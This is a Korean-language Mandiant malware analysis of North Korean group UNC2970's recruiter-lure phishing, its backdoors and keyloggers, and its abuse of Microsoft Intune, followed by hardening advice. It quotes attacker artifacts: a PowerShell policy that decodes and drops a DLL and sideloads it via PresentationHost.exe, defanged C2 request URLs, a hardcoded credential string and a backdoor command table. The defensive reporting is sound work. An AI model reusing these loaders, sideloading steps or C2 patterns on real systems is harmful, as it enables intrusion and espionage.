Blog

[Stealing the LIGHTSHOW - Part 1] 북한의 위협 행위자 집단 UNC2970의 피싱 캠페인 연구

Mandiant Intelligence and Consulting
Mar 09, 2023
20 min read
|   Last updated: Jul 26, 2023
Threat Intelligence
Consulting
Managed Defense
Uncategorized Groups (UNC Groups)
North Korea

2회에 걸쳐 'Stealing the LIGHTSHOW' 시리즈의 포스팅을 공유하겠습니다. 참고로 'Stealing the LIGHTSHOW'는 보안 관계자들이 '스파이 기술을 이용하여 정보를 탈취하는 행위'를 말할 때 쓰는 표현입니다.

맨디언트는 서구 지역 미디어와 기술 기업을 목표로 삼고 있는 UNC2970라고 이름 붙인 북한 스파이 그룹을 2022년 6월부터 추적하고 있습니다. 2022년 6월로 거슬러 올라가 보겠습니다. 당시 맨디언트 매니지드 디펜스(Mandiant Managed Defense)는 미국에 기반을 둔 기술 회사를 노린 UNC2970의 피싱 캠페인을 탐지하고 대응하였습니다. 이 과정에서 맨디언트는 UNC2970이 세 개의 새로운 맬웨어 제품군인 TOUCHMOVE, SIDESHOW, TOUCHSHIFT를 활용하는 것을 관찰하였습니다. 이 캠페인을 확인한 후 맨디언트는 채용을 주제로 삼고 있는 스피어 피싱을 통해 미국 및 유럽의 미디어를 대상으로 하는 UNC2970의 위협 활동에 대응하였습니다. 그리고 이 과정에서 클라우드 환경과 EDR(Endpoint Detection and Response) 도구를 활용하는 UNC2970의 캠페인 운영 능력이 발전했음을 알 수 있었습니다.

맨디언트는 UNC2970이 Temp.Hermit으로 알려진 UNC577인 것으로 의심하고 있습니다. UNC577은 2013년부터 활동한 북한 사이버 스파이 그룹입니다. 이 그룹은 다른 북한 위협 행위자와 사용하는 맬웨어가 꽤 많이 겹칩니다. 아마 맬웨어 코드와 도구 같은 리소스를 공유하는 것으로 보입니다. 맨디언트가 관찰한 UNC577의 활동은 주로 한국 법인 기업을 대상으로 이루어졌으며, 해외 다른 조직을 대상으로 한 위협 행위도 있었습니다.

UNC2970은 채용을 미끼로 하는 스피어 피싱 이메일을 사용해 조직을 표적으로 삼았습니다. 이는 Google TAG, Proofpoint, ClearSky 등이 공개한 보고서의 내용과 겹칩니다.

UNC2970은 최근 채용 담당자로 가장한 가짜 계정을 이용해 링크드인(Linkedin)에서 타깃에 접근하는 방식으로 전략을 바꾸었습니다. UNC2970은 프로필 사진, 경력, 자격, 능력 등의 정보를 정교하게 조작한 합법적인 사용자의 링크드인 계정들을 관리하였습니다. 이들 계정은 잠재적인 피싱 피해자와 관계를 구축하고 대화를 이어갈 수 있도록 프로필이 잘 꾸며져 있었습니다. UNC2970은 이들 계정을 사용해 잠재적 피해자와 왓츠앱(WhatsApp)으로 관계를 이어가며 이메일 또는 왓츠앱 메신저를 통해 페이로드를 전달하였습니다. UNC2970은 피싱 작업 중에 PLANKWALK 백도어와 UNC577이 활용하는 여러 코드와 도구를 공유하는 맬웨어 제품군을 사용하였습니다. 최근 맨디언트는 위협 헌팅 중에 확인한 UNC2970의 활동을 자세히 설명하는 블로그를 게시하였습니다. 맨디언트는 처음에 UNC4034로 위협 행위자 클러스터를 구분하였으나 이후 여러 인프라, 도구, TTP(전술, 기술, 절차)가 겹치는 것을 확인하고 해당 클러스터를 UNC2970으로 합병하였습니다. 이번 1편 게시물을 읽고 2편도 꼭 확인하기 바랍니다.

요약

2022년 6월 맨디언트 매니지드 디펜스는 미국에 기반을 둔 기술 회사를 노린 UNC2970의 피싱 캠페인을 탐지하고 대응하였습니다. 이 과정에서 맨디언트는 UNC2970이 세 개의 새로운 맬웨어 제품군인 TOUCHMOVE, SIDESHOW, TOUCHSHIFT를 활용하는 것을 관찰하였습니다. 이 캠페인을 확인한 후 맨디언트는 채용을 주제로 삼고 있는 스피어 피싱을 통해 미국 및 유럽의 미디어를 대상으로 하는 UNC2970의 위협 활동에 대응하였습니다.

초기 액세스

UNC2970은 피싱 작업을 수행할 때 채용 담당자로 가장한 링크드인 계정을 통해 피해자에게 접근하였습니다. UNC2970은 타깃으로 삼은 대상에 연락을 한 다음 왓츠앱으로 대화를 이어가기 위해 시도하였습니다. 그리고 피싱 페이로드를 보내기 전까지 피해자와 관계를 이어갔습니다. 적어도 한 사례에서 UNC2970은 피싱 페이로가 탐지된 후에도 피해자와 소통을 하였는데, UNC2970은 피해자에게 탐지 스크린샷 화면을 보내달라고 요청하였습니다.

UNC2970이 주로 사용하는 피싱 페이로드는 원격 템플릿 삽입을 통해 C2(Command & Control) 서버에서 페이로드를 다운로드하고 실행하는 매크로가 포함된 마이크로소프트 워드 문서였습니다. 맨디언트는 UNC2970이 채용 내용을 특정 대상에 맞게 조정하는 것도 관찰하였습니다.

그림 1. UNC2970이 사용한 미끼 문서

UNC2970이 사용한 C2 서버는 손상된 워드프레스 기반 사이트였는데, 이는 다른 북한의 공격 그룹의 활동에서도 찾을 수 있는 패턴입니다. 분석 당시 원격 템플릿은 C2 서버에 더 이상 존재하지 않았지만 피싱 활동 후 PLANKWALK와 연결된 C2 서버로 비콘(Beacon)을 전송하는 것을 식별하였습니다.

맨디언트는 가장 최근의 UNC2970 조사에서 UNC2970이 왓츠앱으로 돌아와 타깃과 관계를 이어가려는 것을 관찰하였습니다. 이 활동은 ZINC가 운영하는 MSTIC의 최근 블로그와 맨디언트의 블로그 게시물을 통해 자세히 확인할 수 있습니다.

UNC2970이 피해자에게 전달한 ZIP 파일에는 입사 지원자의 기술 평가 테스트를 위한 원격 제어 프로그램이 포함되어 있었습니다. ZIP 파일에는 맨디언트가 LIDSHIFT로 추적하고 있는 트로이 목마를 삽입한 원격 제어 프로그램인 TightVNC 뷰어가 포함된 ISO 파일이 있었습니다. 피해자는 안내에 따라 기술 평가 테스트에 필요한 도구라고 생각하고 TightVNC 뷰어를 설치하기 위해 ISO 파일을 실행합니다.

LIDSHIFT의 두 번째 기능은 암호화된 DLL을 메모리에 주입하는 것입니다. 주입된 DLL은 맨디언트가 LIDSHOT으로 추적하는 다운로더로 작동하는 트로이 목마화된 Notepad++ 플러그인입니다. LIDSHOT은 TightVNC 뷰어 프로그램 내부의 드롭 다운을 열자마자 주입됩니다. LIDSHOT에는 시스템 열거와 C2 서버에서 쉘 코드를 다운로드하고 실행하는 두 가지 주요 기능이 있습니다. LIDSHOT은 다음 정보를 C2 서버로 다시 보냅니다.

  • Computer Name
  • Product name as recorded in the following registry key SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProductName
  • IP address
  • Process List with User and Session ID associate per process

발판 마련

여러 조사를 통해 맨디언트는 UNC2970이 PLANKWALK를 배치해 피해자 환경 내에 후속 활동을 위한 발판을 마련하는 것을 관찰하였습니다. PLANKWALK는 C++로 작성한 백도어로 HTTP로 통신하고 여러 계층의 DLL 사이드로딩을 활용해 암호화된 페이로드를 실행합니다. PLANKWALK는 런처를 통해 실행됩니다. 이것은 디스크에 있는 것으로 예상하는 두 번째 스테이지 런처입니다. 관찰한 첫 번째 스테이지 런처 이름은 다음과 같습니다.

  • destextapi.dll
  • manextapi.dll
  • pathextapi.dll
  • preextapi.dll
  • Wbemcomn.dll

로드 후 실행되면 보조 런처는 다음 패턴과 일치하는 암호화된 PLANKWALK를 디스크에서 해독하고 실행하려고 시도합니다.

C:\ProgramData\Microsoft\Vault\cache<three numerical digits>.db

PLANKWALK는 실행될 때 호스트 내에 암호화된 구성 파일을 복호화하여 백도어의 C2 서버를 알아냅니다. PLANKWALK의 C2 서버는 대부분 합법적인 워드프레스 기반 사이트였습니다.

맨디언트는 UNC2970이 PLANKWALK 백도어를 배포한 후 마이크로소프트 Intune 같은 다양한 추가 도구를 활용해 쉘 코드 다운로더를 배포한 것을 관찰하였습니다.

도구: Kim "The Toolman" Taylor

맨디언트는 UNC2970이 작업 과정에서 목표 달성을 위해 맞춤형 사후 침투 도구를 사용하는 것을 보았는데, 이것은 UNC2970이 사용하는 대표 도구 중 하나인 TOUCHSHIFT입니다. TOUCHSHIFT를 사용하면 키 로거 및 스크린샷 유틸리티에서 완전한 기능을 갖춘 백도어까지 다양한 후속 도구를 활용할 수 있습니다.

TOUCHSHIFT

TOUCHSHIFT는 mscoree.dll 또는 netplwix.dll로 위장한 악의적인 드롭퍼입니다. TOUCHSHIFT는 일반적으로 윈도우 바이너리 복사본과 동시에 같은 디렉토리에 생성됩니다. TOUCHSHIFT는 DLL 검색 순서 해킹 기술을 이용해 유효한 파일로 자신을 로드하고 실행합니다. TOUCHSHIFT에는 메모리에서 실행되는 하나 또는 두 개의 페이로드가 포함되어 있습니다. 관찰된 페이로드에는 TOUCHSHOT, TOUCHKEY, HOOKSHOT, TOUCHMOVE 및 SIDESHOW가 있습니다.

파일이 정상적인 것처럼 보이도록 일반적인 시스템 내보내기 이름과 일치하는 100개 이상의 내보내기를 사용합니다. 대부분은 동일한 빈 함수를 가리킵니다. 맬웨어는 LockClrVersion 또는 UsersRunDIIW 내보내기에 위치한 것으로 보입니다.

그림 2. 더미 내보내기 함수들과 함께 악성 내보내기 함수

TOUCHSHIFT가 두 번째 페이로드를 포함할 때 첫 번째 인자로 단일 문자 명령줄 옵션을 취하여 두 페이로드 중 어떤 것을 실행할지 결정합니다.

그림 3. 명령줄 옵션 확인

TOUCHSHIFT는 두 번째 인자와 유효 실행 파일의 이름의 첫 16자를 XOR 인코딩하여 복호화 키를 생성해 페이로드를 풀어냅니다. 예를 들어 맨디언트는 하드코딩된 키 '009WAYHb90687PXkS'로 XOR 인코딩된 -CortanaUIFilter 인수와 하드코딩된 키 '.sV%58&.lypQ[$='로 XOR 인코딩된 printfilterpipel을 관찰하였습니다. 이 파일은 printfilterpipelinesvc.exe로 로드되었습니다. 다른 예로 인수로 '--forkavlauncher'가 사용되었고 로딩된 파일은 'C:\windows\Branding\Netplwiz.exe'인 경우도 있었습니다.

코드가 언패킹되면 VirtualAlloc을 호출하여 생성된 메모리 위치에 로드되고 거기서 실행됩니다.

그림 4. 메모리에서 압축을 푼 후 페이로드 시작

페이로드가 실행되면 TOUCHSHIFT의 주요 부분이 일정 시간 동안 절전 모드로 전환되어 페이로드가 계속 실행될 수 있습니다.

페이로드 추적

TOUCHSHOT

TOUCHSHOT은 실행 중인 시스템의 스크린샷을 찍어 파일에 저장해 나중에 위협 행위자가 검색할 수 있도록 합니다. TOUCHSHOT은 3초마다 스크린샷을 찍으며 이미지 파일은 ZLIB으로 압축됩니다. 압축된 데이터는 생성된 파일에 차기되는데, 파일 크기가 5MB가 될 때까지 새 스크린샷을 계속 추가합니다. 파일 크기가 5MB가 되면 같은 명명 규칙에 따라 새 파일을 만듭니다. TOUCHSHOT은 TOUCHKEY와 동일한 TOUCHSHIFT 인스턴스에 포함된 것으로 나타났습니다. 이는 본 포스팅 후반부에서 따로 논의하겠습니다.

TOUCHSHOT은 'C:\Users\{user}\AppData\Roaming\Microsoft\Windows\Themes\' 디렉토리에 파일을 생성하고, 파일 이름은 '~DM{####}P.dat'로 지정되며 네 개의 숫자는 의사 난수로 생성됩니다. TOUCHSHOT이 파일 이름을 생성하고 나면 파일에 대한 핸들을 만들려고 시도합니다. 변환 값이 파일이 존재하지 않음을 나타내면 파일을 생성합니다. 이 체크는 새 파일을 만들어야 할 때까지 계속되는 루프의 일부로 수행됩니다. 루프를 반복할 때마다 TOUCHSHOT은 스테이징 파일에 추가되는 스크린샷을 캡처합니다.

그림 5. 디렉토리 경로 생성

그림 6. 의사 난수를 사용한 파일 이름 생성

그림 7. 파일에 대한 핸들 만들기

그림 8. 스크린샷 캡처

TOUCHKEY

TOUCHKEY는 키 입력과 클립보드 데이터를 캡처하는 키로거로 싱글 바이트 XOR로 인코딩되어 저장됩니다. TOUCHSHOT처럼 이 파일은 위협 행위자가 추가 수단을 통해 획득해야 합니다.

그림 9. 파일에 쓰기 전에 데이터를 0x62 바이트로 XOR하여 처리

TOUCHKEY는 'C:\Users{user}\AppData\Roaming\Microsoft\Windows\Templates\' 디렉토리에 두 개의 파일을 생성합니다. Normal.dost 파일 이름은 캡처된 키 스트로크를 저장하는 데 사용되며, Normal.docb 파일 이름은 클립보드 데이터에 사용됩니다. 전체 경로는 각각의 스레드에 전달되어 해당 파일에 키 스트로크 또는 클립보드 데이터가 캡처되고 해당 파일에 추가됩니다.

그림 10. 스테이징 파일의 경로 생성

그림 11. 파일 이름을 전체 경로에 추가하고 스레드를 생성

TOUCHKEY는 생성된 두 개의 스레드 중 하나에서 클립보드를 열고 그 안에 저장된 데이터를 가져옵니다. 다른 스레드에서는 키보드에 후킹을 설정하고 눌린 모든 키를 기록합니다.

그림 12. 클립보드 데이터 캡처

그림 13. 키 입력 캡처

HOOKSHOT

HOOKSHOT은 OpenSSL의 정적 링크 구현을 활용해 C2 서버와 통신하는 터널러입니다. TCP로 연결하지만 암호화를 위해 클라이언트 인증서를 사용하지 않습니다.

그림 14. 파일에서 정적으로 링크된 OpenSSL의 예

HOOKSHOT은 두 개의 IP와 포트 쌍을 포함한 인코딩된 인자를 받고 이를 사용해 C2 서버와 통신합니다.

그림 15. IP와 포트 분리

그런 다음 HOOKSHOT은 두 IP 주소를 사용해 소켓을 만들고 TLSv1.0을 사용해 트래픽을 터널링합니다.

그림 16. 소켓 생성

TOUCHMOVE

TOUCHMOVE는 구성 파일과 페이로드 파일 두 개를 디스크에 저장하고 이를 복화하고 실행하는 로더입니다. TOUCHMOVE는 BIOS 날짜, 버전, 제조업체 및 제품 이름을 쿼리하여 RC6 키를 생성해 두 파일을 복호화합니다. 복호화된 결과는 하드코딩된 키로 XOR로 인코딩됩니다. 생성된 RC6 키가 잘 못되면 구성 및 페이로드 파일이 성공적으로 복호화되지 않으므로 UNC2970은 대상 피해자 시스템에 대한 정찰을 수행한 후 TOUCHMOVE 인스턴스를 컴파일합니다. RC6 키가 성공적으로 생성되면 구성 파일에 대한 핸들이 만들어지고 복호화 프로세스가 수행됩니다. 구성 파일이 성공적으로 복호화되면 페이로드의 전체 경로가 확인되고 동일한 복호화 프로세스가 수행됩니다. 이후 페이로드가 실행됩니다.

그림 17. BIOS 쿼리 문자열

그림 18. 구성 파일에 대한 핸들 만들기

그림 19. 페이로드에 대한 핸들 만들기

SIDESHOW

SIDESHOW는 C/C++로 작성된 백도어로 HTTP POST 요청을 통해 C2 서버와 통신합니다. 백도어는 멀티 스레드, RC6 암호화를 사용하며, 최소 49개 명령을 지원합니다. 표 1과 같이 임의의 명령 실행(WMI), 프로세스 인젝션을 통한 페이로드 실행, 서비스, 레지스트리, 예약된 작업 및 방화벽 조작, 도메인 컨트롤러 설정 조회 및 업데이트, 암호 보호 ZIP 생성 등의 기능이 있습니다. SIDESHOW는 명시적으로 지속성을 확립하지 않지만 지원되는 다양한 명령을 기반으로 지속성을 확보할 수 있습니다.

SIDESHOW는 TOUCHMOVE와 같은 레지스트리 값을 사용하여 시스템별 RC6 키를 생성하고, 이 키를 사용해 TOUCHMOVE가 암호화한 구성 파일을 디스크에서 복호화합니다. 복호화된 구성 파일에는 SIDESHOW가 HTTP POST 요청을 통해 통신하는 C2 서버의 URL 목록이 포함되어 있습니다. SIDESHOW는 이 C2 서버 URL 목록을 반복하고 각 C2 서버 URL에 인증을 시도합니다. 성공하면 SIDESHOW는 명령 처리 상태로 진입하고 추가 HTTP POST 요청을 보내 명령을 검색합니다. SIDESHOW는 C2 서버 통신 중 시스템의 기본 HTTP 사용자 에이전트 문자열을 사용하려고 시도합니다. 이때 사용할 수 없으면 하드코딩된 HTTP 사용자 에이전트 문자열을 사용합니다.

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36 Edg/97.0.1072.69

SIDESHOW는 HTTP POST 요청을 통해 C2 서버와 통신할 때 무작위로 선택한 값들과 하드코딩된 값들이 혼합된 URI 파라미터 문자열을 생성합니다. 인증 요청은 다음과 같은 URI 파라미터 문자열 형식을 사용합니다.

1<param_1>=<hex_seed>&<param_2>=pAJ9dk4OVq85jxKWoNfw1AG2C&<param_3>=<16_random_hex_chars>

첫 번째 URI 매개변수 값은 SIDESHOW의 설정에서 가져오며 랜덤 함수를 시드하는 데 사용됩니다. 두 번째 URI 매개변수 값인 'pAJ9dk4OVq85jxKWoNfw1AG2C'는 하드코딩되어 있으며 인증 자격 증명일 가능성이 높습니다. 세 번째 URI 매개변수 값인 '<16_random_hex_chars>'는 나중에 통신에 사용되는 세션 식별자 (<session_id>)이며 두 가지 하위 요소로 구성됩니다.

  • <8_random_hex_based_on_seed>
  • <8_random_hex_based_on_tickcount>

첫 번째 URI 매개변수 값 '<hex_seed>'는 첫 8개의 16진수 문자 '(<8_random_hex_based_on_seed>)'를 유도하기 위한 무작위 시드 값으로 사용됩니다. 반면에 마지막 8개 16진수 문자'(<8_random_hex_based_on_tickcount>)'는 CPU의 현재 틱 카운트를 무작위 시드 값으로 사용하여 유도됩니다. 이로 인해 '<8_random_hex_based_on_seed>' 값은 결정적이고 '<8_random_hex_based_on_tickcount>' 값은 의사 난수 '(pseudo-random)'입니다.

1pguid=A59&ssln=pAJ9dk4OVq85jxKWoNfw1AG2C&cup2key=184B280E341AE63F

그림 20. URI 매개변수 문자열 빌드

SIDESHOW는 응답을 구문 분석하고 '<!DOCTYPE html>' 문자열을 포함하면 인증에 성공했다고 간주합니다. 명령 요청은 다음 URI 매개변수 문자열 형식을 사용합니다. 주의할 것은 '<param_2>'와 '<param_3>'이 문자열에서 위치를 변경했습니다.

1<param_1>=<5_random_digits>&<param_3>=2<session_id>&<param_2>=<6_random_digits>

다음은 명령 URI 매개변수 문자열의 예시입니다.

1other=37685&session=2184B280E341AE63F&page=593881

SIDESHOW는 명령어 응답 본문을 파싱하고 '<!DOCTYPE html>' 문자열 이후의 데이터를 추출합니다. SIDESHOW는 추출한 데이터를 Base64 디코딩 및 RC6 복호화하는 것으로 보입니다. SIDESHOW는 표 1에 나열된 명령에 응답하며 해당 명령을 수행합니다.

그림 21. 명령 구문 분석 후 switch 문

명령 ID

설명

00

간단한 시스템 정보 및 몇 가지 구성 세부 정보 얻기

01

드라이브 열거 및 여유 공간 나열

02

디렉토리 파일 나열

03

CreatProcess()를 통해 임의의 명령을 실행하고 출력을 반환

04

암호 AtbsxjCiD2axc*ic[3</8Ad81!G./1kiThAfkgnw

05

시스템에서 파일 다운로드

06

프로세스 실행

07

프로세스 실행 및 스푸핑 부모 프로세스 식별자(PID)

08

지정된 PID에 대한 프로세스 주입을 통해 PE 페이로드 실행

09

맬웨어의 메모리 공간에 로드하여 PE 페이로드 실행

0A

실행 중인 프로세스 및 로드된 DLL 나열

0B

프로세스 종료

0C

먼저 임의의 데이터를 쓴 다음 DeleteFile()을 호출하여 파일을 안전하게 삭제

0D

지정된 IP 주소 및 포트에 연결

0E

구현되지 않음

0F

현재 디렉토리 설정

10

다른 파일의 타임스탬프를 사용하여 파일 타임스탬프

11

비콘 간격 업데이트

12

비콘 간격을 업데이트하고 구성을 디스크에 저장

13

지원 파일, 레지스트리 값, 서비스 및 종료를 안전하게 삭제해 정리

14

디스크에서 구성 로드

15

구성 업데이트 및 디스크에 저장

16

디렉토리에 있는 모든 파일의 크기 가져오기

17

지정된 드라이브의 사용 가능한 디스크 공간 확보

18

프로세스 일시 중단

19

프로세스 일시 중단

1A

다른 프로세스에서 DLL 로드

1B

다른 프로세스에서 DLL 로드

1C

다른 위치로 파일 복사

1D

디렉토리 제거

1E

다른 위치로 파일 이동

1F

지정된 PID에 대한 프로세스 주입을 통해 쉘 코드 페이로드 실행

20

맬웨어의 메모리 공간에 로드하여 쉘 코드 페이로드 실행

21

네트워킹 구성 정보 가져오기

22

윈도우 도메인 컨트롤러의 설정 조회 또는 수정

23

시스템 방화벽의 설정 조회 또는 수정

24

활성 TCP 및 UDP 연결 나열

25

ICMP 요청을 통해 원격 시스템 ping

26

시스템 레지스트리 조회 또는 수정

27

시스템 서비스 조회 또는 수정

28

ICMP 요청을 통해 원격 시스템 ping

29

맬웨어의 프로세스가 실행되는 도메인 및 사용자 계정 이름 가져오기

2A

WMI 실행 명령

2B

DNS 쿼리를 통해 도메인 이름 확인

2C

시스템의 예약된 작업 조회 또는 수정

2D

상세 시스템 정보 얻기

2E

네트워킹 인터페이스 정보 가져오기

2F

디렉토리 만들기

30

디렉토리 파일 나열

표 1. SIDESHOW에서 지원하는 명령

클라우드를 노리다! 마이크로소프트 Intune 활용

맨디언트는 적어도 하나 이상의 조사에서 위협 행위자가 마이크로소프트의 엔드포인트 관리 솔루션인 Intune을 활용해 피해 환경의 호스트에 맬웨어를 배포하는 것을 확인하였습니다. 원격으로 코드를 실행하기 위해 위협 행위자는 Intune 관리 확장 기능(IME)을 활용해 클라이언트 환경의 다양한 호스트에 맬웨어가 포함된 사용자 정의 파워쉘 스크립트를 업로드했습니다. 맨디언트는 호스트에서 포렌식 분석을 수행하는 과정에서 다음과 같은 IME 관련 파워쉘 스크립트 명령 줄 인수를 확인하였습니다.

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -executionPolicy bypass -file "C:\Program Files (x86)\Microsoft Intune Management Extension\Policies\Scripts\42fb3cca-48dd-4412-a11a-245384544402_f391eded-82d3-4506-8bf4-9213f6f4d586.ps1

분석 당시 맨디언트는 PS1 파일을 확보할 수 없었지만 호스트에서 식별된 로컬 IME 로그에서 PS1 파일의 전체 사본을 획득할 수 있었습니다. 이 사본은 다음 위치에 있었습니다.

C:\ProgramData\Microsoft\IntuneManagementExtension\Logs\IntuneManagementExtension-YYYYMMDD-HHMMSS.log

로컬 로그 항목은 다음과 같습니다.

<![LOG[[PowerShell] response payload is [{"AccountId":"[userGUID]","PolicyId":"f391eded-82d3-4506-8bf4-
9213f6f4d586","PolicyType":1,"DocumentSchemaVersion":"1.0","PolicyHash":"P23cVfMyHLECSGPt1T6YYcoxhCLWKS05jX5M
ukC3MIw=","PolicyBody":"$EnModule = \"[Base64_encoded_CLOUDBURST_payload]"\r\n$DeModule =
[System.Convert]::FromBase64CharArray($EnModule, 0, $EnModule.Length)\r\nSet-Content
\"C:\\ProgramData\\mscoree.dll\" -Value $DeModule -Encoding Byte\r\nCopy-Item
\"C:\\Windows\\System32\\PresentationHost.exe\" -Destination \"C:\\ProgramData\"\r\nStart-Process -
NoNewWindow -FilePath \"C:\\ProgramData\\PresentationHost.exe\" -ArgumentList \"-
embeddingObject\"\r\n","PolicyBodySize":null,"PolicyScriptParameters":null,"ContentSignature":"
[Base64_encoded_signing_certificate]","isTombStoned":false,"isRecurring":false,"isFullSync":false,"ExecutionContext":0,
"InternalVersion":1,"EnforceSignatureCheck":false,"RunningMode":1,"RemediationScript":null,"RunRemediation":false,"
RemediateScriptHash":null,"RemediationScriptParameters":null,"ComplianceRules":null,"ExecutionFrequency":0,"
RetryCount":0,"BlockExecutionNotifications":false,"ModifiedTime":null,"Schedule":null,"IsFirstPartyScript":false,"TargetType":0,
"ScriptApplicabilityStateDueToAssignmentFilters":null,"AssignmentFilterIdToEvalStateMap":{},"HardwareConfigurationMetadata":null}]]LOG]!><time="06:59:15.2941778" date="6-9-2022" component="IntuneManagementExtension" context="" type="1" thread="5" file="">

악성 파워쉘 스크립트는 CLOUDBURST 페이로드를 Base64 디코딩하고 'C:\ProgramData\mscoree.dll'로 디스크에 내리도록 사용되었습니다. 그런 다음 스크립트는 ‘C:\Windows\System32\PresentationHost.exe’의 사본을 ' C:\ProgramData'에 작성하고 embeddingObject 인수로 실행하였습니다. PresentationHost.exe는 UNC2970에서 CLOUDBURST를 사이드로드하는 데 사용되는 합법적인 윈도우 바이너리입니다.

실행 시 PresentationHost.exe는 CLOUDBURST 페이로드를 메모리에 업로드합니다. 마이크로소프트 IME 엔드포인트 로그를 더 자세히 분석해 보면 고유한 GUID인 'f391eded-82d3-4506-8bf4-9213f6f4d586'이 PolicyID 필드에서 확인되었는데, 이는 데이터웨어하우스에서 정책의 고유 식별자입니다. Intune 데이터웨어하우스는 기업 모바일 환경에 대한 정보와 매일 업데이트되는 최신 정보를 제공합니다. 확인된 GUID는 파워쉘 스크립트 파일 이름의 GUID와 IME 관련 레지스트리 키에서 확인된 GUID와 일치합니다.

Intune Tenant 관리자 감사 로그를 검토해 보니 ObjectID 필드에 동일한 GUID가 확인되었습니다. Intune Tenant 감사 로그는 생성, 업데이트, 삭제, 할당, 원격 작업 같은 Intune에서 변경 사항 및 작업 기록을 보여줍니다. 로그는 위협 행위자가 이전에 침해한 계정을 사용해 'Microsoft.Management.Services.Api.DeviceManagementScript' 및 'GroupID f391eded-82d3-4506-8bf4-9213f6f4d586'을 사용하여 디바이스 관리 스크립트 생성, 할당, 패치, 삭제 작업을 수행했음을 보여줍니다.

추가 분석 결과 Intune Tenant 관리자 감사 로그에서 참조하는 ObjectID GUID가 모바일 앱 할당 그룹의 ID에 해당함을 확인할 수 있었습니다.

분석 당시 'GroupID f391eded-82d3-4506-8bf4-9213f6f4d586'은 Intune 엔드포인트 관리자 센터에 더 이상 존재하지 않았습니다. 위협 행위자가 삭제한 것으로 추정하고 있습니다. 악의적으로 Intune을 사용한 것을 확인하기 위해 맨디언트는 다음과 같이 분석을 하였습니다.

  • Intune 응용 프로그램에 대한 수상한 로그 여부 확인을 위해 Azure AD 로그인 로그를 분석하였습니다.
  • 예기치 않은 배포 증거를 찾기 위해 Intune 감사 로그를 분석하고 다음을 수행하였습니다.

Step 1: GroupID GUID를 사용해 다음 엔드포인트의 아티팩트 존재 여부를 확인하였습니다.

  • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\IntuneManagementExtension\Policies\<UserGUID>\<suspicious ObjectID GUID>
  • C:\Program Files (x86)\Microsoft Microsoft IME\Policies\Scripts\<UserGUID>_<suspicious ObjectID GUID>.ps1

Step 2: 상기 아티팩트가 있는 호스트에 대해 다음 분석을 수행하였습니다.

  • PS1 파일을 수집하여 맬웨어 코드를 분석합니다.
  • 전통적인 엔드포인트 분석을 수행합니다.

맨디언트는 Intune을 통해 배포되는 맬웨어를 CLOUDBURST라는 이름으로 추적 중입니다. CLOUDBURST는 HTTP로 통신하는 C로 작성된 다운로더입니다. 해당 맬웨어는 합법적인 mscoree.dll과 유사하게 보이도록 만들어졌지만, 가짜 익스포트를 포함하고 있습니다. TOUCHSHIFT가 가짜 익스포트를 사용하는 것과 비슷합니다. CLOUDBURST의 한 변종은 가짜 익스포트 외에도 합법적인 오픈 소스 소프트웨어를 추가로 사용했습니다. 실제로 맬웨어를 포함하는 익스포트는 CorExitProcess입니다. CorExitProcess는 '-embeddingObject' 인자를 필요로 합니다.

그림 22. 명령줄 인수와 -embeddingObject 비교

앞서 언급한 명령줄 인수가 확인되면 CLOUDBURST는 도메인을 스택 문자열로 구성하고 C2 서버로 다음 두 요청을 보냅니다.

hxxps://[c2domain]/wp-content/plugins/contact.php?gametype=<random_dword>&type=O8Akm8aV09Nw412KMoWJd

hxxps://[c2domain]/wp-content/plugins/contact.php?gametype=tennis&type=k<random_dword>

네트워크 연결 후 CLOUDBURST는 호스트 조사를 수행합니다. 이 과정에서 제품 이름, 컴퓨터 이름을 결정하고 실행 중인 프로세스를 열거합니다.

그림 23. 함수를 호출하여 호스트 열거

CLOUDBURST는 호스트 조사를 완료한 후 C2 서버에서 쉘 코드를 다운로드하고 실행합니다. 현재 맨디언트는 CLOUDBURST가 다운로드한 쉘 코드의 목적이 무엇인지 식별할 수 없습니다.

그림 24. 메모리 공간 할당 및 채우기, 쉘 코드 실행

전망과 시사점

맨디언트가 확인한 바에 따르면 UNC2970이 새로운 도구를 개발하고 배포하며 지속해서 맬웨어를 개선하고 있음을 알 수 있습니다. 이 공격 그룹은 이전에 방위 산업, 언론 및 기술 산업을 타깃으로 삼았습니다. 여기에 보안 연구원을 목표로 삼는 것은 전략이 바꾸었거나 작전이 대상이 확장되었다는 것을 시사합니다. 기술적인 지표와 이 공격 그룹이 활용한 TTP는 TEMP.Hermit와 관련이 있습니다. 그리고 최근 활동에 비추어 볼 때 이 공격 그룹은 공격 대상 조직들이 클라우드 전환에 나서고 있는 것에 발맞춰 전략과 도구를 조정하고 있음을 알 수 있습니다. UNC2970이 작전을 어떻게 발전시켜 나아가고 있는지에 대해서는 본 포스팅의 2편을 참조 바랍니다.

캠페인 추적

맨디언트는 UNC2970을 지속해서 모니터링하면서 TTP의 변경, 새로운 기능을 갖춘 도구 사용 또는 미션 수행을 위해 새로운 인프라를 사용하는 등 주목할 만한 업데이트를 제공할 것입니다. 공격 그룹의 캠페인을 추적하는 맨디언트의 방법은 맨디언트 어드밴티지 위협 인텔리전스위협 캠페인 기능을 참조 바랍니다.

위협 완화 방법

Azure AD 및 Intune 강화

맨디언트는 Azure AD의 ID 제어와 Intune의 엔드포인트 관리 기능을 효과적으로 활용하여 엔드포인트에 악성 파워쉘 스크립트를 배포하는 UNC2970의 위협 행위를 관찰하였습니다. 이 악의적인 위협을 완화하려면 Azure AD의 ID 보호 기능을 강화하고 Intune에 대한 액세스를 제한해야 합니다. 관련해 조직은 다음과 같은 보안 강화 방법을 고려해야 합니다.

클라우드 전용 계정: 조직은 글로벌 관리자나 Intune 관리자 같은 Azure AD에 연계된 클라우드 전용 계정을 사용해야 합니다. 온프레미스에 있는 액티브 디렉토리에 동기화된 계정에 클라우드 액세스 권한을 할당하면 안 됩니다. 또한, 관리자는 이메일 보내기나 웹 브라우징 같은 일상적인 업무를 볼 때 별도의 계정을 사용해야 합니다. 관리자 계정은 전용으로 두고 관리 작업에만 사용해야 합니다.

